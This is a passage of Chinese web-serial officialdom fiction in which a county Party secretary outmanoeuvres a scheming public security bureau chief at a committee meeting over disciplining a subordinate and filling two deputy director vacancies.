然后,他做了一个极其细微的动作——他伸出右手,用食指和中指的指尖,轻轻地、极其缓慢地,将他面前那个白瓷茶杯,推得离自己更远了一些。
这个动作幅度很小,但在极度紧张、所有人都屏息凝神关注着他一举一动的此刻,却像被放大了无数倍,清晰地映入了每个人的眼帘。
茶杯被推远了。
这意味着什么?
是**觉得这杯茶凉了?
还是……他对眼前这些人的“表演”,感到厌倦了?
抑或,是一种无声的、却更具压迫性的不满?
没人敢出声询问。
李国栋的心猛地一沉,一股寒意从脚底板直窜头顶。
刘博文眉头紧锁,死死盯着那个被推远的茶杯,试图解读其中深意。
赵志更是吓得魂不附体,刚刚擦掉的冷汗又瞬间冒了出来。
江昭宁做完这个动作后,双手十指交叉,轻轻放在桌面上。
他微微抬起下颌,目光重新变得平淡无波,缓缓扫视着全场。
他的嘴角,似乎极其细微地向上牵动了一下,形成了一个若有若无、含义难明的弧度。
那几乎不能称之为笑容。
那更像是一种……审视。
一种洞悉一切,却暂时不置可否的、高高在上的审视。
会议室内,死寂无声。
只有众人越来越沉重的心跳声,在无声地回响。
刘博文的“诫勉”,李国栋的“开除”,赵志的“严重警告”,连同乔国良的命运,似乎都被冻结在了江昭宁那一个推远茶杯的动作和那抹难以捉摸的表情里。
第81章 一箭数雕!
就在这令人窒息的临界点上,江昭宁终于开腔了。
他的声音不高,带着一种奇特的、近乎慵懒的漫不经心,仿佛在谈论一件微不足道的琐事,而非决定一个下属的命运和一场激烈的**交锋。
“乔队,乔国良同志今天在谈话中……”他顿了顿,指尖轻轻敲击着桌面,“言语是有些冲。”
这平淡的开场白,却像一道无形的惊雷在众人头顶炸开!
**竟然主动称呼“乔队”?!
这微妙的称谓变化,瞬间让紧绷的空气裂开了一道缝隙。
“但是,”江昭宁微微侧头,目光似乎没有聚焦在任何一个人身上,而是飘向了窗外,“也不是什么大不了的事。”
嗡!
整个会议室像是被投入了一颗震撼弹,所有人,包括已经做好最坏打算的刘博文,都猛地一震!
不敢置信地看向主位。
不是……什么大不了的事?
刚才那剑拔**张的气氛,李国栋喊打喊杀的态度,难道都是……错的?
江昭宁的语气依旧平淡,甚至带着一丝不易察觉的调侃:“说得不好听点儿呢,”他微微勾起唇角,那弧度很浅,却蕴含着巨大的力量,“是犯上,是较劲,是认死理。”
“一根筋,不懂得拐弯嘛。”
他话锋一转,那平淡的语调似乎带上了一点温度,或者说是某种更深的意味:“说得好听一点儿呢?”
他环视了一圈,目光在每个人脸上短暂停留,仿佛在邀请他们思考,“是坚持自己的意见,是……不屈服领导意志,只唯实,不唯上。”
“不唯上”三个字,被他用一种近乎咏叹的调子轻轻吐出,像羽毛般飘落,却又重重砸在每个人的心头。
刘博文的呼吸瞬间急促起来,一股难以言喻的暖流和激动涌上胸膛,他几乎要控制不住脸上的表情!
赵志更是惊得下巴都要掉了。
他以为自己听错了,使劲眨了眨眼睛。
李国栋则如遭雷击,脸色瞬间由青转白,再由白转红。
一股巨大的羞恼和恐惧攫住了他——原来**根本就没把“顶撞”当回事?
自己之前的表演,岂不是成了跳梁小丑?!
“那么,他的问题是什么呢?”江昭宁的声音恢复了之前的平淡,但目光陡然变得锐利起来,如同两把冰冷的解剖刀,精准地剖开了问题的核心。
他再次缓缓扫视在座的每一位党委委员。
那些刚才还屏息凝神、大气不敢出的面孔,此刻更是僵硬无比,眼神躲闪,仿佛被那目光灼伤。
“说有,也有!”江昭宁的语气加重了几分。
所有人的心再次提了起来,刚刚放松的神经瞬间绷紧。
刘博文的心猛地一沉,难道……
“是什么呢?”江昭宁自问自答,声音清晰而冷冽,“是越权!是越俎代庖!是包办代替!”
这三个词,一个比一个重,像三记重锤,砸在会议桌上。
也砸在每个人的认知里。
“你治安大队的队长,”江昭宁的目光仿佛穿透了墙壁,落在那个不在场的乔国良身上,“职责是什么?”
“是维护社会治安秩序,处理打架斗殴、偷鸡摸狗、黄赌毒里的‘赌’和‘黄’!”
“你去管什么禁毒?去抓什么毒贩?”
他的声音陡然拔高,带着严厉的质问,“谁赋予你的权力?程序在哪里?”
“依据在哪里?”
“否则,”他的语气又沉下来,带着一种冰冷的逻辑,“‘各司其职,各尽其责’这八个字,是不是得从我们的规章制度里抠掉?嗯?”
他尾音上扬,带着强大的压迫感,目光如电,扫过李国栋、刘博文,两人立刻低下了头,恨不得钻进桌底。
“这不是不务正业是什么?!”
江昭宁拿起桌上的杯子,慢悠悠地呷了一口茶,似乎在给众人消化他话语的时间。
然后,他用一种近乎刻薄的、带着浓厚乡土气息的比喻继续道:“种着自己的一亩三分地,心思却飘到别人的田埂上,还惦念着去锄别人地里的草?”
他放下杯子,发出一声轻响,“当长工吗?”
他顿了顿,嘴角那抹若有若无的讽刺更深了:“就算是当长工,给东家干活,锄了别人家的草,东家不会有意见?”
“就算没有意见,东家会多给你
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一分工钱吗?”
他目光扫过众人,“他乔国良的工资,因为这个,长了一分吗?”
“吃着碗里的,”江昭宁的声音陡然变得冷硬,“还看着锅里的?”
话音落下,会议室内陷入了一种奇特的寂静。
紧张的气氛如同被戳破的气球,瞬间消散了大半,但取而代之的是一种更深的、混杂着敬畏、困惑和恍然大悟的复杂情绪。
原来,**真正在意、真正要敲打的,根本不是所谓的“顶撞”和“冒犯”,而是乔国良破坏了规则,逾越了职权!
这比李国栋扣的“**问题”帽子清晰、具体得多!
刘博文和赵志几乎是同时在心里长长地、无声地舒了一口气,后背瞬间被冷汗浸透,但这次是如释重负的冷汗。
刘博文紧绷的神经终于松弛下来,他偷偷抹了一把额角的汗珠,心中百感交集:原来如此!
**并非不讲道理,也并非要置人于死地,他抓的是“规矩”这个根本!
自己的坚持,虽然尺度上与**有差异,但方向没有大错!
赵志更是感觉从鬼门关走了一遭。
江**没有追究他的口误,反而点明了问题的实质,让他悬着的心终于落回了肚子里。
看向江昭宁的目光充满了感激和后怕。
李国栋的心却沉到了谷底,一股冰冷的寒意包裹了他。
他彻底明白了!
自己借刀**的算盘完全打错了!
江昭宁不仅不想当他的“钟馗”,反而敏锐地察觉到了自己被利用的意图。
**轻描淡写地将“顶撞”定性为“小事”,却揪住“越权”这个看似更专业、更客观的问题大做文章,这既展现了他的“胸襟”和“实事求是”,又巧妙避开了被利用的陷阱,更敲打了乔国良,还维护了整个班子的运行规则!
一箭数雕!
乔国良的“罪名”,不是不敬,而是“僭越”!
这给了李国栋巨大的腾挪空间和新的切入点——清除不行,但合理打压、限制,甚至“不升不降”的调离,此刻变成了贯彻江**指示精神的最佳方案!
绝妙的理由已然递到手中!
第82章 分明是挤兑!
换软刀子!
绝不能让乔国良继续待在治安大队这个要害位置上,更不能让他好过!
电光火石之间,李国栋心中阴霾尽扫,一个“绝妙”的主意在他脑中成型。
他脸上瞬间堆起了无比真诚、无比敬佩的笑容,身体微微前倾,用一种近乎谄媚的语气高声附和:“江**高屋建瓴!鞭辟入里啊!”
“江**说得太对了!”
“简直是字字珠玑,一针见血!”他的声音洪亮,充满了夸张的赞叹,“您这一番话,真是指点迷津,拨云见日!”
“让我们这些陷在具体事务里的人醍醐灌顶!”
他目光炯炯,环视众人,刻意加重语气,“什么叫胸襟开阔?什么叫领导艺术?”
“江**今天给我们所有人都上了一课!”
“这才是真正的大**量,胸襟广阔到能跑马!”
他转向其他委员,仿佛在寻求认同:“看看!什么叫格局?什么叫水平?”
“江**这才是真正为工作、为大局、为我们整个**队伍的健康发展着想!”
“不计较个人得失,只讲原则,只讲规矩!佩服!我李国栋是心服口服!”
这一通马屁拍得极其露骨。
但在场的所有人都明白,这是李国栋在急速调整姿态,向**表忠心,也是在为自己的下一步铺路。
李国栋话锋一转,语气变得“严肃”而“公正”:“既然江**您高瞻远瞩,宽宏大量,不计较乔国良同志的个人态度问题,那辞退或者开除这种极端处理方式,自然就不予考虑了。”
他特意强调了“不计较个人态度”,将江昭宁的“不在意”坐实。
“但是,”他声音陡然提高,“这绝不意味着乔国良同志的行为就是对的!”
“更不意味着他所犯的错误可以一笔勾销!”
“冒犯领导,顶撞**,这是客观存在的事实!影响极其恶劣!”
“如果不加以惩戒,何以正风纪?何以儆效尤?”
他的目光如鹰隼般射向纪委**赵志:“赵志**刚才的意见,我认为非常中肯!”
“体现了严肃性和原则性!”
“对这样的错误行为,给予党内严重警告处分,是恰当的,是必要的!我完全赞同!”
他再次将赵志顶到前面,既呼应了**强调的“规矩”,又给乔国良套上了一个实质性的枷锁。
一个党内严重警告处分,足以在乔国良的档案里留下浓重的一笔,影响其未来的晋升。
还没等其他人反应,李国栋立刻抛出了他刚才蓄谋的“**锏”,语气变得“忧心忡忡”:“江**刚才精准地指出了乔国良同志问题的核心——越权!”
“这是病根啊!必须根治!”
“他现在抓毒贩,抓得勤快,恰恰证明他无视职责边界,完全是名不正,言不顺!”
“这叫什么?这叫手伸得太长!”
“这不仅破坏了我们内部的职责分工,更严重的是……”
他刻意停顿,加重语气:“他这是夺了禁毒大队赵永安同志的饭碗!”
“让赵永安同志这位正牌的大队长形同虚设,靠边站!本职工作近乎瘫痪!”
“还落下了一个‘甩手掌柜,吃饭不理事’的慵懒名声。”
“这像什么话?这让兢兢业业、守着自己职责的赵永安同志怎么想?这公平吗?”
“这符合江**强调的‘各司其职’吗?”
“这是对组织的安排、对我们**工作精细分工原则的严重破坏!”他的话语铿锵有力,完全占据了维护规则、落实分工的制高点。“长此以往,禁毒工作荒废!治安工作也受干扰!两头空!”
李国栋痛心疾首地摇头,仿佛在控诉极大的不公。
他偷眼观察江昭宁,见**面无表情,只是手指在桌面上轻轻点着,似乎在思考。
李国栋心中一喜,知道自己的话可能切中了要害。
他立刻抛出解决方案,语气斩钉截铁:“所以,为了彻底解决这个问题,为了不折不扣地落实江**‘各司其职、各尽其责’的重要指示,也为了给所有同志一个公平公正的交代,我提议——”
他环视全场,一字一句地说道:“将乔国良同志和赵永安同志进行岗位对调!”
此言一出,会议室再次响起一片压抑的惊呼!
这招太狠了!
李国栋无视众人的反应,继续侃侃而谈,仿佛在阐述一个无比完美的方案:“乔国良同志不是喜欢抓毒贩吗?不是对禁毒工作充满热情、甚至不惜越权也要插手吗?”
“那好!我们就让他去禁毒大队当大队长!真正做到‘在其位,谋其政’!名正言顺地去抓毒贩!”
“去发挥他的‘热情’和‘能
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力’!”
他话锋一转,“至于赵永安同志,他工作勤恳,作风扎实,一直严格遵守职责边界。”
“让他来接任治安大队大队长,那是再合适不过了!这样调整,一举多得!”
李国栋越说越觉得自己的主意绝妙:“第一,完全符合江**的指示精神,解决了越权包办的根本问题!”
“以后乔国良在禁毒大队抓毒贩,那是他的本职工作,天经地义,再不存在‘侵权’之说!”
“第二,给了乔国良同志一个‘施展抱负’的平台,满足了他的‘愿望’。”
“第三,也给了赵永安同志一个更广阔、更能发挥其稳重特长的舞台!”
“第四,体现了局党委赏罚分明、人尽其才的用人导向!”
“第五,维护了队伍内部的团结和稳定!”
他最后再次提高音量,带着完成任务般的笃定和亢奋:“如此调整,才能真正、彻底地贯彻落实江**关于‘各司其职,各尽其责’的重要指示!”
“杜绝日后再出现任何形式的侵权混乱!!”
“请各位考虑,特别是请江**定夺!请江**定夺!”
李国栋说完,微微欠身,坐回位置,脸上带着一丝志在必得的微笑。他心中冷笑:乔国良,你不是能耐吗?
禁毒大队?哼!那可是个真正的火坑!
经费紧、任务重、危险系数高、功劳难显,还得天天和亡命之徒打交道!
你刘博文想保他?
我把他调去那里,不升不降,让他有苦说不出!
至于治安大队这个肥缺……自然就落到“自己人”赵永安手里了。
刘博文的心瞬间沉了下去。
他太清楚李国栋的算盘了!
这哪里是什么“合理调整”,分明是挤兑!
治安大队管着全县的娱乐场所、特种行业,油水足,地位重。
禁毒大队则是真正的苦差、险差!
而且赵永安是李国栋的铁杆,调他过来,等于彻底掌控了治安口!
这一招,不仅报复了乔国良,还巩固了他李国栋的权力,更将了自己一军!
他想反驳,但李国栋句句都扣着江昭宁“各司其职”的帽子,理由冠冕堂皇!
赵志则再次陷入两难,他偷偷看向江昭宁。
所有人的目光,再次聚焦到了主位上那位掌控着一切的男人身上。
第83章 他到底要做什么?
江昭宁依旧面无表情,手指在桌面上那支签字笔的笔帽上轻轻摩挲着,发出极其细微的“沙沙”声。
他既没有看慷慨陈词的李国栋。
也没有看忧心忡忡的刘博文,更没有看惶恐不安的赵志。
他的目光似乎穿透了眼前的纷争,投向了更深远的地方。
会议室内,只剩下那微不可闻的“沙沙”声,以及众人沉重而压抑的呼吸。
权力的天平,在李国栋抛出这个“完美”方案后,似乎再次发生了微妙的倾斜。
是顺水推舟,还是另起炉灶?
所有人的命运,包括那个不在场的乔国良,都悬在江昭宁即将开启的唇齿之间。
整个会议室的目光再次聚焦于一点。
等待着江昭宁对这一场名为“落实指示”、实则权力洗牌定调的最终裁决。
江昭宁眼神如鹰隼般扫过全场,最终落在李国栋的脸上。
“我与国栋同志相同之处,”江昭宁的声音不高,却带着一种不容置疑的分量,清晰地传入每个人耳中,“是要解决那些越权越位之处。”
“边界不清,职责不明,这是滋生推诿扯皮、效率低下的温床,必须厘清。”
他略作停顿,李国栋下意识地挺直了腰板。
江昭宁的嘴角似乎牵动了一下,形成一个难以捉摸的弧度:“不同的是解决问题的方法!”
“方法”二字,他咬得格外重,像两颗石子投入平静的湖面。
李国栋的心脏猛地一缩,像被一只无形的手狠狠攥住,激灵灵打了个寒颤。
后脊梁瞬间爬上一股冰冷的麻意,直冲头顶。
江昭宁这话是什么意思?
难道是在批评自己之前提出的方案过于保守或者方向不对?
他脑中飞速旋转,试图捕捉江昭宁话语里潜藏的每一个信息碎片。
一个更可怕的念头不受控制地冒了出来,带着巨大的冲击力:“难道他又要来一场合并?”
“将禁毒与治安大队合并?”
这个念头如同惊雷炸响在李国栋的脑海。
禁毒大队和治安大队,一个专精于**犯罪的侦查打击,一个负责社会面管控和治安案件处理,职能虽有交叉但核心迥异。
强行合并,不仅可能削弱专业力量,更会引发内部人事震荡和业务混乱。
李国栋的手指在桌下微微蜷缩起来,指甲几乎要嵌进掌心。
他强迫自己保持镇定,但额角悄然渗出的细密汗珠却暴露了他内心的惊涛骇浪。
就在李国栋心念电转,几乎要忍不住开口试探时。
江昭宁仿佛看穿了他的心思,语气平稳地继续说了下去,像是对刚才那句“方法不同”的注解,又像是主动打消他的疑虑:“我的意思,也并非是要将禁毒与治安这两个大队简单合并。”
他微微摇头,目光扫过众人,“这涉及到重大的机构改革和职能调整了,牵一发而动全身。”
“没有**部的明确首肯,没有省厅的正式授权,我们地方上,不能轻举妄动,这是原则问题。”
江昭宁身体微微前倾,双手交叉放在桌面上,指节分明,带着一种掌控全局的力量感:“交巡警合并,那是上面允许探索的改革方向,是摸着石头过河。”
“而且大家也都看到了,别的省份,甚至我们省内的个别县市,也正在实施试点。”
“效果如何,有待观察,但趋势是明确的。所以我说,或迟或早,这项改革也会轮到我们县,这是符合上级精神的探索,是顺势而为。”
他话锋一转,语气陡然变得严肃而清晰,如同在宣读一份正式文件:“但是,禁毒与治安大队合并呢?”
“没有上级的明确授权,也没有任何成功的先例可供参照。”
“盲动,是肯定不行的。”
李国栋心中又是一震!
如同被重锤敲击。
不是合并?
那江昭宁前面那番关于“方法不同”、关于解决“越权越位”的话,指向的到底是什么?
他悬着的心并未放下,反而被一种更深沉、更难以捉摸的不安攫住。
江昭宁绕了这么大一个圈子,铺垫了这么多,把合并这条路彻底堵死,却又不明确说出他的真实意图,这比直接宣布合并更让人心慌意乱。
他到底要做什么?
李国栋感觉自己的思维像是陷入了一个巨大的漩涡,找不到着力点。
整个会议室的气氛变得更加凝重。
所有人的目光,带着困惑、探究和一丝不易察觉的紧张,都牢牢地锁定在江昭宁那张波澜不惊的脸上。
空气仿佛被抽干,每一次呼吸都变得小心翼翼。
所有人都预感到,真正的“戏肉”要来了。
“我的想法是——
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”江昭宁的声音不高,却像带着某种魔力,瞬间抽干了会议室里最后一丝杂音。
全场鸦雀无声!
连空调的嗡鸣似乎都识趣地降低了音量。
时间仿佛被拉长,每一秒都显得无比漫长。
李国栋甚至能听到自己心脏在胸腔里沉重而急促的搏动声。
他屏住呼吸,等待着那个即将揭晓的答案,那个将决定许多人命运的“想法”。
然而!
就在这令人窒息的寂静中,就在所有人都以为江昭宁要抛出那个酝酿已久的关键方案时。
他却毫无征兆地、极其自然地话锋一转!
那突兀的转折,如同高速行驶的列车猛地切换了轨道,让人措手不及,甚至产生了一种强烈的眩晕感。
江昭宁的目光重新聚焦在李国栋脸上,语气平淡得像是在询问一件无关紧要的日常事务:“国栋同志,我听说,你们局里,最近有一个副局长到龄退休了?”
“啊?”李国栋被这突如其来的问题砸懵了,思维瞬间短路。
他下意识地应了一声,大脑一片空白。
怎么突然问起这个来了?
这跟刚才讨论的职能优化、解决越权越位,简直是风马牛不相及啊!
他愣了两秒,才找回自己的声音,带着明显的困惑和不解:“是……是的,江**。”
“管刑侦、治安的老张副局长上个月刚办了退休手续。”
他一边回答,一边飞快地在脑中搜索江昭宁此问的用意,却毫无头绪。
江昭宁仿佛没看到李国栋的错愕,紧接着又抛出一个更尖锐、更敏感的问题,语气依旧平稳,却像一把冰冷的锥子,直刺要害:“好像……还有一个,是被**了吧?”
他用了“好像”这个词,显得很随意。
但在场所有人都知道,作为县委**,他对这种重大人事变动必然是了如指掌。
“是,是,是的。”李国栋感觉一股寒气从脚底升起,舌头像打了结,回答得结结巴巴。
那个副局长被市纪委带走**才不到一个月,内部尚处于高度敏感期。
江昭宁此刻在党委会上突然提起,绝不可能只是随口一问!
一股强烈的不祥预感如同冰冷的藤蔓,瞬间缠绕住他的心脏,并且越收越紧。
他感觉自己的后背瞬间被冷汗浸湿,黏腻地贴在椅背上。
第84章 有考虑的!
江昭宁微微颔首,像是在确认一个已知的事实,然后以一种近乎陈述公事的口吻补充道:“**的这位,肯定是回不来了。”
“我听纪委那边的同志说,证据链很扎实,问题比较严重,马上要移送检察机关走司法程序了。”
他轻描淡写的一句话,却为那位副局长的**生命彻底画上了句号,也彻底堵**李国栋心中最后一丝“万一能回来”的侥幸。
铺垫到这里,江昭宁终于亮出了他此番问话的真正目的。
他身体微微前倾,双手交叉置于桌面,目光变得异常锐利。
江昭宁的眼神落在李国栋的脸上,声音不高,却带着千钧重压,清晰地回荡在死寂的会议室里:“国栋同志,这样一来,你们县**局,就等于一下子空缺了两个副局长的位置。”
他略作停顿,目光扫过在座的所有党委委员,仿佛在强调这个事实的严重性,“**是什么部门?”
“是党和人民手中的‘刀把子’,是维护一方平安稳定的核心力量!是绝对的强力部门!”
“这样一个要害部门的领导班子,必须配备齐全,这是组织原则!而且,不仅是要配齐,更要配强!”
“要选**过硬、能力突出、作风扎实、能够扛得起重担的同志上来!”
“决不能出现‘瘸腿’班子,更不能让关键岗位长期空缺!这关系到全县的稳定大局!”
每一个字都像重锤,敲打在李国栋的心上。
“强力部门”、“配齐”、“配强”、“稳定大局”……这些词汇组合在一起,形成一股巨大的、令人窒息的压力。
他瞬间明白了!
江昭宁兜了这么大一个圈子,从职能说到方法,否定合并,又突然提起人事空缺,根本目的就在这里!
他是在为接下来的人事安排做铺垫,而且这个安排,很可能完全打乱自己原有的部署!
所有的铺垫、试探、否定、突兀的问题……在这一刻,电光石火之间,全部贯通!
一幅清晰的、也令他感到极度恐惧的画面瞬间在他脑中展开!
“空缺两个副局长……配强……在这个节骨眼上……在批评完治安越权禁毒工作之后……他排除了合并的选项……”李国栋只觉得天旋地转,一股冰冷的绝望感瞬间将他吞噬!
一个名字如同闪电般劈入李国栋的脑海——乔国良!
天呐!
这个念头带来的冲击是如此巨大,以至于李国栋眼前猛地一黑,一阵强烈的眩晕感袭来,他几乎要控制不住地昏倒在座位上!
他下意识地用手撑住了桌沿,指关节因为用力而泛白。
江昭宁绕了这么一大圈,难道就是要强行把乔国良推上副局长的位置?
通过让他上位当副局长来解决越权越位办案的情况?
让他主管治安、刑案的侦破?
让他直接领导这两个大队?!通过人事任命,而不是机构调整,来重新界定权责?!
让他握有治安、涉毒及其他刑案的侦破大权?
这无异于在自己身边埋下一颗定时**!
这简直是要他的命!
江昭宁竟然对于乔国良的顶撞毫不在意?
甚至,甚至是欣赏他的直肠子?
就在李国栋内心翻江倒海、惊骇欲绝之际。
江昭宁抛出了最后一个问题,如同法官落下的法槌,彻底将他逼到了墙角。
“那么,”江昭宁的目光牢牢锁住李国栋,带着不容回避的审视,“距离老张退休已经一个月,**那位也快一个月了。”
“为什么你们局党委,到现在还没有向县委正式报送补缺人选?”
他微微眯起眼睛,语气中带上了一丝不易察觉的质询,“是……工作太忙疏忽了?”
“还是……没有合适的人选?”
最后一句问得轻飘飘,却像一把淬了毒的软刀子,直指李国栋可能存在的工作失职或是在人事安排上另有私心。
巨大的压力如同实质的海水将李国栋淹没。
他感觉喉咙发干,心脏狂跳,几乎要从嗓子眼里蹦出来。
他知道不能再沉默了,更不能表现出丝毫犹豫或抗拒。
江昭宁的话已经把他架在了火上烤!
他必须立刻回应,而且要拿出一个“合理”的说法!
李国栋几乎是凭借着多年官场历练出的本能,强行压下心
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头的惊涛骇浪和那份几乎要脱口而出的“乔国良”的猜测。
他急忙开口,声音因为紧张而显得有些急促,甚至微微发颤:“江**,我们党委……有考虑!有考虑的!”
“人选问题,我们一直在酝酿!”他努力让自己的语气听起来坚定而积极。
“哦?”江昭宁眉毛微挑,身体放松地靠回椅背,双手交叉搭在小腹上,好整以暇地看着他,那眼神仿佛在说:说来听听。
“是谁?”简简单单两个字,却蕴含着巨大的力量,将所有人的注意力再次拉紧。
李国栋深吸一口气,知道此刻必须亮出底牌了,虽然这底牌在江昭宁的突然袭击下显得如此苍白无力。
他硬着头皮,清晰地说出了两个名字:“一个是……夏向明同志,另一个是……吴兴昌同志。”
“夏向明……吴兴昌……”江昭宁轻声重复了一遍这两个名字,像是在记忆中检索相关信息,“一个是警务督查大队长,一个是刑侦大队长?”他像是在确认。
“是的,江**。”李国栋赶紧点头,试图为这个提名增加分量,“两位同志都是局里的业务骨干,**可靠,经验丰富,在各自岗位上成绩都很突出。”
“夏向明同志原则性强,熟悉内部管理和纪律规章;吴兴昌同志破案能力一流,是局里的刑侦尖刀。”
“我们认为,他们具备担任更高职务的潜质和能力。”
江昭宁听完,脸上没有任何表情,既没有肯定,也没有否定。
他只是微微侧头,目光转向一直沉默旁听的刘博文,语气平淡地问:“刘政委,国栋局长说的这个意向,是已经经过了党委会讨论酝酿,走过了必要的**推荐测评环节?”
“还是……”他故意拖长了尾音,“仅仅是部分同志私下的‘意向’?”
这个问题极其关键!
如果是前者,代表了组织程序的严肃性,虽然最终决定权在县委,但局党委的意见有相当分量。
如果是后者,那几乎等同于李国栋在搞“一言堂”或者私下授意,其合法性和公信力将大打折扣。
所有人的目光瞬间集中到刘博文身上。
第85章 怕什么来什么
他此刻压力巨大。
他感受到了江昭宁目光中的深意,也看到了李国栋投来的近乎恳求的眼神。
他推清了清嗓子,选择了一个相对保守但基本符合事实,至少是表面事实的回答,声音不高却足够清晰:“江**,关于这两个人选,目前……主要还是局党委主要领导层面的初步意向和酝酿。”
刘博文斟酌着字句,“考虑到两位同志都还在现职岗位上,局里近期重大任务也比较多,正式的**推荐和测评环节……还没有全面启动。”
“所以,严格来说,目前确实……只是意向。”
“只是意向。”刘博文最后这四个字,清晰地回荡在会议室里,如同一盆冷水,浇在了李国栋刚刚燃起的一丝希望上,也让他瞬间陷入了更加被动和尴尬的境地。
江昭宁听完刘博文的回答,脸上依旧看不出喜怒。
他缓缓地点了点头,目光重新回到李国栋那张已经有些失血的脸上。
他没有立刻对夏向明和吴兴昌的提名做任何评价,也没有再追问关于乔国良的任何问题,只是用他那双深邃而平静的眼睛,深深地看了李国栋一眼。
那一眼,包含了太多难以言喻的意味:洞悉一切的锐利,对当前提名“只是意向”这一状态的审视,以及对接下来局党委该如何行事的无声催促和……警告。
会议室里的空气,在江昭宁的沉默注视下,再次凝固到了冰点。
每个人都在等待,等待这位县委**最终会如何落子,这场突如其来的、关于人事权力的风暴,将把县**局这艘大船吹向何方。
李国栋感到自己像赤身裸体站在冰天雪地里,江昭宁的目光就是那刺骨的寒风。
他知道,真正的较量,才刚刚开始。
而江昭宁那句关于“方法不同”的开场白,此刻在他心中激起了惊涛骇浪——原来江昭宁的方法,是直指核心的人事布局,是远比“机构合并”更精准、也更致命的权力调整!
他要在县**局的核心领导层,安插自己的人,或者说,打破他李国栋的固有格局!
乔国良的名字,如同烙印般刻在他的脑海里,带来一阵阵冰冷的刺痛。
江昭宁终于再次开口,打破了那令人窒息的沉默,声音平缓却带着不容置疑的决断力:“班子建设是头等大事,尤其是**局这样的要害部门,拖不得,也马虎不得。”
“‘配齐配强’四个字,不是口号,是要落到实处的硬任务。”
“既然局党委已经有了初步意向人选,那就抓紧时间,尽快启动组织程序。”
“**推荐、测评、考察,每一个环节都要扎扎实实走好,把真正优秀的、能扛事的同志推出来。”
他顿了顿,目光扫过全场,最后停留在李国栋脸上,意味深长地补充道:“县委,等你们正式的报告。”
他没有说“等你们的报告推荐夏向明和吴兴昌”,也没有提任何具体名字,只是说“等你们正式的报告”。
这看似平常的一句话,却如同在平静的水面下投下了一块巨石,激起了在场所有人心中无尽的波澜和猜测。
李国栋仿佛抓住了最后一根救命稻草,只要能把夏向明和吴兴昌的提名钉死在名单上,就能暂时堵住江昭宁提拔乔国良的路!
他急于将这不成熟的人选“生米煮成熟饭”,几乎是失态地抢先开口,声音里带着一丝急迫:“江**!那……那好!”
“就这么敲定了!夏向明和吴兴昌两位同志!”
他努力想让自己的语气显得笃定、一锤定音,目光带着一丝恳求和掩饰不住的慌张,扫过全场。
李国栋的眼神最终回到江昭宁脸上,“我们局党委立刻按程序走流程,尽快把推荐材料上报县委!”
“敲定?”江昭宁微微挑眉,嘴角似乎向上牵动了一下,那弧度几乎难以察觉,却蕴含着无声的嘲讽。
他没有立刻说话,只是拿起面前的水杯,慢条斯理地喝了一口。
那细微的动作在落针可闻的会议室里被无限放大,水杯落在杯垫上的轻响,都仿佛敲打在李国栋紧绷的神经上。
果然,怕什么来什么。
江昭宁放下水杯,声音依旧平稳,却如同寒冬深涧的泉水,冰冷而清晰:“国栋同志,提名人选是局党委的权力,也是职责。只是……”
他故意停顿了一下,目光扫过李国栋惨白的脸和额角沁出的汗珠,“人选本身,似乎还需要斟酌一下。”
如同一记无声的重拳,精准地砸在李国栋的心窝!
“斟酌?”李国栋的心瞬间沉入谷底。
江昭宁仿佛没看到他愈发难看的脸色,继续条理分明地剖析,每一个字都像在抽掉李国栋脚下
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的砖石:“首先,程序问题。”
他的目光带着组织纪律特有的严苛,“两个副局长岗位空悬是事实,但你们局党委初步建议只推两人?”
“这符合干部选拔任用的基本规则吗?”
他环视全场,那目光似乎在询问每一个人,“组织推荐提名,特别是领导岗位,必须要有差额!”
“这是原则!是规矩!”他语气渐重,“两个职位,你们就只推荐两个人选?!”
“这是打算直接等额选举?”
“让县委**们失去选择的余地?**推荐的核心意义何在?你难道想让人家连选择的余地都没有吗?!”
一连串的反问,如同利剑,锋芒毕露,将李国栋仓促的人选提名置于破坏组织原则的险境!
李国栋的嘴唇哆嗦着,想辩解,喉咙却被无形的恐惧扼住,发不出任何有效的声音。
“按照干部任用条例的精神和常规做法,”江昭宁语气一转,带着不容置疑的论断,“两个职位再怎么也得有四名候选人才符合程序。至少一比二的差额,这是底线。”
他像是在给会议定下基调,更像是在为后续动作铺路,“没有这个基础,后面的程序全是空谈。”
这是第一条理由,从组织程序上直接否定了李国栋企图“二选二”蒙混过关的想法。
“其次,”江昭宁话锋再转,这次精准地指向了李国栋推荐的第一人选——夏向明。“夏向明同志他现在是在警务督查岗位工作,工作吗,应当还行!”
他先是肯定了工作,但“但是”的后文才是真正的杀招,“他的职业发展轨迹和主攻方向,是在大政工线,不属于业务工作范畴。”
“他的专业知识、工作重心和领导经验积累,最适宜发展的方向,我认为应该是政工室主任、纪委**这类岗位。”
他的目光再次逼视李国栋,带着一丝探究和了然:“国栋同志,目前县局的政工室主任和纪委**的位子可没有出缺,他们本人就在现场!”
他声音陡然提高一分,带着几分诘问,“在现职没有出缺的情况下,将一个本应最适合冲击大政工岗位的大队长,却提名去担任分管具体执法业务的副局长,这岗位匹配度……是否值得商榷?”
“是否会影响人尽其才?”
“这样的提名推荐……合适吗?”
第86章 出人意料
这第二条理由,如同一把手术刀,精准地解剖出夏向明提名的致命弱点——人岗匹配度极差!
几乎点明了李国栋提名他的私心:只是为了用“自己人”占位置,而非真正考虑岗位需求和个人发展!
李国栋的额头布满了汗珠,衬衫的后背早已被冷汗浸透,紧紧贴在脊梁骨上,带来一阵阵冰冷粘腻的触感。
他感到前所未有的狼狈不堪,像是被剥光了站在聚光灯下。
江昭宁的指摘字字如刀,他必须为自己、也为夏向明辩驳,否则这提名就彻底沦为笑柄。
“江……江**,”李国栋努力稳住发颤的声线,脑中急速搜索着夏向明履历中任何能与“业务”沾边的经历,“是,您说得对,夏向明同志现在是搞督查。”
“但是……但是他……他是基层干起来的!他原来在城关镇派出所也呆过多年!当过副所长!”
“那些年县里大要案频发,他……他也亲自参与办过好几起刑案的!有实战经验!”
“只是……只是后来被抽调到警务督察岗位,算是……算是半路出家搞了警务督查的……”
这番辩驳显得苍白而牵强。
“半路出家”来形容自己的爱将,本身就很可笑。
一个离开刑侦一线多年、专注于内部监督检查、没有分管全局性业务大队经验的干部,现在要突然提拔为副局长去领导如狼似虎的治安、刑侦、禁毒等其他大队?
这个理由实在缺乏说服力。
江昭宁静静地听着李国栋的辩解,脸上没有任何表情。
等对方说完,他微微垂目思索了几秒,手指在桌面上轻轻敲击着,那声音让整个会议室的气氛压抑到了极点。
“原来如此。”江昭宁终于开口,声音不高,带着一种似乎是“恍然大悟”的语气,但这语气本身就很值得玩味。
